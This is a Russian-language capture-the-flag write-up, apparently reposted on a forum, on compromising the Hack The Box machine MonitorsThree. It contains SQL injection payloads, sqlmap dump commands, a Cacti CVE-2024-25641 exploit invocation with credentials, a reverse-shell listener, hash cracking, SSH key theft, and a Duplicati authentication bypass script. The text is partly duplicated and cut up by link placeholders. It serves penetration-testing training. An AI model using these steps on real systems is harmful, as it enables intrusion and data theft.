stihl не предоставил(а) никакой дополнительной информации.
В сегодняшнем райтапе мы проведем атаку на веб‑сервер, используя SQL-инъекцию и ошибку в веб‑приложении Cacti. На сервере найдем учетные данные и повысим привилегии через создание бэкапа при помощи программы Duplicati.
Наша цель — получение прав суперпользователя на машине MonitorsThree с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел два интересных нам открытых порта:
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
В них можно поискать возможности для инъекций, но давай сначала закончим с разведкой. Следующий шаг — сканирование сайта на предмет интересных каталогов и файлов.
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Задаем все параметры и запускаем ffuf:
Для просмотра ссылки Войдиили Зарегистрируйся
Утилита пошла выводить все варианты из словаря, поэтому нужно задать фильтр, например по размеру ответа (параметр -fs).
ffuf -u Для просмотра ссылки Войдиили Зарегистрируйся -H 'Host: FUZZ.monitorsthree.htb' -w subdomains-top1million-110000.txt -t 128 -fs 13560
Для просмотра ссылки Войдиили Зарегистрируйся
Так находим еще один поддомен. Обновляем запись в файле /etc/hosts и смотрим сайт через браузер.
Для просмотра ссылки Войдиили Зарегистрируйся
Перед нами система Cacti. Это опенсорсная платформа для оперативного мониторинга. Здесь же мы узнаём версию — 1.2.26 — и можем сразу проверить, есть ли для нее готовые эксплоиты.
Для просмотра ссылки Войдиили Зарегистрируйся
В этой версии есть уязвимость Для просмотра ссылки Войдиили Зарегистрируйся, которая позволяет импортировать свой шаблон и таким образом получить удаленное выполнение кода. По Для просмотра ссылки Войди или Зарегистрируйся можно понять, что для эксплуатации требуется авторизация, а учетных данных у нас пока нет.
Для просмотра ссылки Войдиили Зарегистрируйся
Вернемся на первый сайт и проверим формы авторизации и смены пароля базовыми нагрузками. Так, нагрузка admin' or 1=1 -- - вернет «хороший» ответ, а нагрузка admin' and 1=2 -- - — «плохой».
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Теперь передаем файл в sqlmap и ждем, пока утилита подберет нагрузку для сайта.
sqlmap -r req.txt --batch
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь получим базы данных на сервере (параметр --dbs). Sqlmap будет использовать найденную ранее нагрузку.
Для просмотра ссылки Войдиили Зарегистрируйся
Нас интересует база данных monitorsthree_db. Так как получение данных идет очень долго, сразу попробуем запросить информацию из столбцов username и password (параметр -C) таблицы users (параметр -T).
Для просмотра ссылки Войдиили Зарегистрируйся
Отправляем хеши на Для просмотра ссылки Войдиили Зарегистрируйся и добываем пароль для учетной записи admin.
Для просмотра ссылки Войдиили Зарегистрируйся
С полученными учетными данными успешно авторизуемся на сайте.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Так как у нас теперь есть авторизованный доступ, мы можем заюзать найденную ранее уязвимость с помощью Для просмотра ссылки Войдиили Зарегистрируйся. Попробуем выполнить команду id.
или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Команда успешно отработала, а значит, через RCE можно выполнить реверс‑шелл. Я сгенерировал реверс‑шелл онлайновой утилитой Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Запускаем листенер:
И выполняем реверс‑шелл в формате Base64. Почти сразу получаем сессию пользователя www-data.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Подключаемся к базе cacti и дампим логины и хеши из таблицы user_auth.
Для просмотра ссылки Войди или Зарегистрируйся
Отправляем на брут хеш пользователя marcus и спустя несколько секунд получаем очень легкий пароль.
hashcat -m3200 '$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK' rockyou.txt
Для просмотра ссылки Войдиили Зарегистрируйся
Пользователь marcus зарегистрирован в системе, поэтому логинимся от его имени с помощью su и получаем первый флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и начнем сканирование. Следом смотрим, что интересного нашлось.
У текущего пользователя есть приватный ключ SSH. Его мы, конечно, забираем и получаем полноценную командную оболочку.
Для просмотра ссылки Войдиили Зарегистрируйся
На адресе 127.0.0.1 прослушивается несколько портов, в том числе интересный 8200.
Для просмотра ссылки Войдиили Зарегистрируйся
В каталоге /opt есть директории разных сервисов.
Для просмотра ссылки Войдиили Зарегистрируйся
Просмотрим, что за сайт на порте 8200. Чтобы открыть его в браузере, сначала придется прокинуть порт на свой хост с помощью SSH.
Таким образом весь трафик, который мы пошлем на локальный порт 8200, будет туннелирован на порт 8200 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можно посмотреть сайт через браузер.
Для просмотра ссылки Войдиили Зарегистрируйся
Duplicati — клиент‑серверная программа для резервного копирования. Duplicati позволяет бэкапить шифрованные и сжатые копии локальных файлов на облачные службы хранения и удаленные файловые серверы. Директория сервиса была в каталоге /opt.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся уязвимости обхода авторизации.
Для просмотра ссылки Войдиили Зарегистрируйся
Раз у нас есть доступ к локальному каталогу Duplicati, мы можем получить значение server-passphrase из таблицы Option базы данных приложения и обойти авторизацию.
Для просмотра ссылки Войдиили Зарегистрируйся
А теперь перекодируем полученное значение server-passphrase из Base64 в Hex.
Для просмотра ссылки Войдиили Зарегистрируйся
Переходим к странице логина и ловим запрос авторизации в Burp Proxy. Первый запрос на получение session-nonce пропускаем, а вот тот, где отправляется зашифрованный пароль, оставляем.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Открываем панель разработчика в браузере и в окне отладки JavaScript выполняем небольшой скрипт, где используем значение session-nonce из запроса. Получаем валидный зашифрованный пароль.
Вставляем полученный пароль в перехваченный запрос и в браузере видим страницу администратора Duplicati.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
На первом шаге задаем имя и выбираем параметр «Без шифрования».
Для просмотра ссылки Войдиили Зарегистрируйся
На втором шаге указываем каталог, куда будет сохранена резервная копия. Я выбрал домашний каталог текущего пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
На шаге 3 выбираем файлы, бэкап которых нужно сделать. Пусть это будет флаг рута.
Для просмотра ссылки Войдиили Зарегистрируйся
Остальные шаги оставляем по умолчанию.
Для просмотра ссылки Войдиили Зарегистрируйся
После настройки резервного копирования переходим на главную страницу, выбираем нашу настройку и запускаем ее. В домашнем каталоге пользователя найдем архивы Duplicati.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Проверяем архивы и находим скопированный файл рута.
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена, и мы можем получить любые данные из системы.
Наша цель — получение прав суперпользователя на машине MonitorsThree с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.30 monitorsthree.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел два интересных нам открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Nginx 1.18.0.
Для просмотра ссылки Войди
Точка входа
На сайте есть форма логина, а также возможность сбросить пароль.Для просмотра ссылки Войди
В них можно поискать возможности для инъекций, но давай сначала закончим с разведкой. Следующий шаг — сканирование сайта на предмет интересных каталогов и файлов.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиЯ предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -u — URL;
- -H — HTTP-заголовок.
Задаем все параметры и запускаем ffuf:
ffuf -u [URL]http://monitorsthree.htb/[/URL] -H 'Host: FUZZ.monitorsthree.htb' -w subdomains-top1million-110000.txt -t 128
Для просмотра ссылки Войди
Утилита пошла выводить все варианты из словаря, поэтому нужно задать фильтр, например по размеру ответа (параметр -fs).
ffuf -u Для просмотра ссылки Войди
Для просмотра ссылки Войди
Так находим еще один поддомен. Обновляем запись в файле /etc/hosts и смотрим сайт через браузер.
10.10.11.30 monitorsthree.htb cacti.monitorsthree.htb
Для просмотра ссылки Войди
Перед нами система Cacti. Это опенсорсная платформа для оперативного мониторинга. Здесь же мы узнаём версию — 1.2.26 — и можем сразу проверить, есть ли для нее готовые эксплоиты.
Для просмотра ссылки Войди
В этой версии есть уязвимость Для просмотра ссылки Войди
Для просмотра ссылки Войди
Вернемся на первый сайт и проверим формы авторизации и смены пароля базовыми нагрузками. Так, нагрузка admin' or 1=1 -- - вернет «хороший» ответ, а нагрузка admin' and 1=2 -- - — «плохой».
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Точка опоры
В браузере переходим в режим разработчика и копируем в один файл сначала запрос на сервер, а затем передаваемые данные.Для просмотра ссылки Войди
Теперь передаем файл в sqlmap и ждем, пока утилита подберет нагрузку для сайта.
sqlmap -r req.txt --batch
Для просмотра ссылки Войди
Теперь получим базы данных на сервере (параметр --dbs). Sqlmap будет использовать найденную ранее нагрузку.
sqlmap -r req.txt --batch --dbs
Для просмотра ссылки Войди
Нас интересует база данных monitorsthree_db. Так как получение данных идет очень долго, сразу попробуем запросить информацию из столбцов username и password (параметр -C) таблицы users (параметр -T).
sqlmap -r req.txt --batch -D monitorsthree_db -T users -C username,password --dump
Для просмотра ссылки Войди
Отправляем хеши на Для просмотра ссылки Войди
Для просмотра ссылки Войди
С полученными учетными данными успешно авторизуемся на сайте.
Для просмотра ссылки Войди
Cacti RCE
Те же учетные данные подошли к CMS Cacti.Для просмотра ссылки Войди
Так как у нас теперь есть авторизованный доступ, мы можем заюзать найденную ранее уязвимость с помощью Для просмотра ссылки Войди
python3 CVE-2024-25641.py -u admin -p greencacti2001 -x id
Для просмотра ссылки Войди Для просмотра ссылки Войди
Команда успешно отработала, а значит, через RCE можно выполнить реверс‑шелл. Я сгенерировал реверс‑шелл онлайновой утилитой Для просмотра ссылки Войди
Для просмотра ссылки Войди
Запускаем листенер:
pwncat-cs -lp 4321
И выполняем реверс‑шелл в формате Base64. Почти сразу получаем сессию пользователя www-data.
Для просмотра ссылки Войди
Продвижение
Так как на хосте работают несколько веб‑приложений, первым делом проверяем учетные данные в базе данных. Учетные данные для подключения к ней получим из файла /include/config.php.Для просмотра ссылки Войди
Подключаемся к базе cacti и дампим логины и хеши из таблицы user_auth.
Код:
mysql -u cactiuser -p
use cacti;
select username,password from user_auth;
Отправляем на брут хеш пользователя marcus и спустя несколько секунд получаем очень легкий пароль.
hashcat -m3200 '$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK' rockyou.txt
Для просмотра ссылки Войди
Пользователь marcus зарегистрирован в системе, поэтому логинимся от его имени с помощью su и получаем первый флаг.
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и начнем сканирование. Следом смотрим, что интересного нашлось.
У текущего пользователя есть приватный ключ SSH. Его мы, конечно, забираем и получаем полноценную командную оболочку.
Для просмотра ссылки Войди
На адресе 127.0.0.1 прослушивается несколько портов, в том числе интересный 8200.
Для просмотра ссылки Войди
В каталоге /opt есть директории разных сервисов.
Для просмотра ссылки Войди
Просмотрим, что за сайт на порте 8200. Чтобы открыть его в браузере, сначала придется прокинуть порт на свой хост с помощью SSH.
ssh -i id_rsa [EMAIL]marcus@monitorsthree.htb[/EMAIL] -L 8200:127.0.0.1:8200
Таким образом весь трафик, который мы пошлем на локальный порт 8200, будет туннелирован на порт 8200 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можно посмотреть сайт через браузер.
Для просмотра ссылки Войди
Duplicati — клиент‑серверная программа для резервного копирования. Duplicati позволяет бэкапить шифрованные и сжатые копии локальных файлов на облачные службы хранения и удаленные файловые серверы. Директория сервиса была в каталоге /opt.
Для просмотра ссылки Войди
Duplicati auth bypass
Так как исходники Duplicati открыты, мы можем найти и просмотреть уязвимости и исправления на GitHub. Так находим подробное Для просмотра ссылки ВойдиДля просмотра ссылки Войди
Раз у нас есть доступ к локальному каталогу Duplicati, мы можем получить значение server-passphrase из таблицы Option базы данных приложения и обойти авторизацию.
Для просмотра ссылки Войди
А теперь перекодируем полученное значение server-passphrase из Base64 в Hex.
echo Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= | base64 -d | xxd -p -c 256
Для просмотра ссылки Войди
Переходим к странице логина и ловим запрос авторизации в Burp Proxy. Первый запрос на получение session-nonce пропускаем, а вот тот, где отправляется зашифрованный пароль, оставляем.
Для просмотра ссылки Войди
Открываем панель разработчика в браузере и в окне отладки JavaScript выполняем небольшой скрипт, где используем значение session-nonce из запроса. Получаем валидный зашифрованный пароль.
Код:
var session_nonce = .... ;
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(session_nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
noncedpwd
Для просмотра ссылки Войди
Duplicati file backup
Теперь попробуем сделать резервную копию каталога рута. Переходим на страницу «Добавить резервную копию» и выбираем «Настройка новой резервной копии».Для просмотра ссылки Войди
На первом шаге задаем имя и выбираем параметр «Без шифрования».
Для просмотра ссылки Войди
На втором шаге указываем каталог, куда будет сохранена резервная копия. Я выбрал домашний каталог текущего пользователя.
Для просмотра ссылки Войди
На шаге 3 выбираем файлы, бэкап которых нужно сделать. Пусть это будет флаг рута.
Для просмотра ссылки Войди
Остальные шаги оставляем по умолчанию.
Для просмотра ссылки Войди
После настройки резервного копирования переходим на главную страницу, выбираем нашу настройку и запускаем ее. В домашнем каталоге пользователя найдем архивы Duplicati.
Для просмотра ссылки Войди
Проверяем архивы и находим скопированный файл рута.
Для просмотра ссылки Войди
Машина захвачена, и мы можем получить любые данные из системы.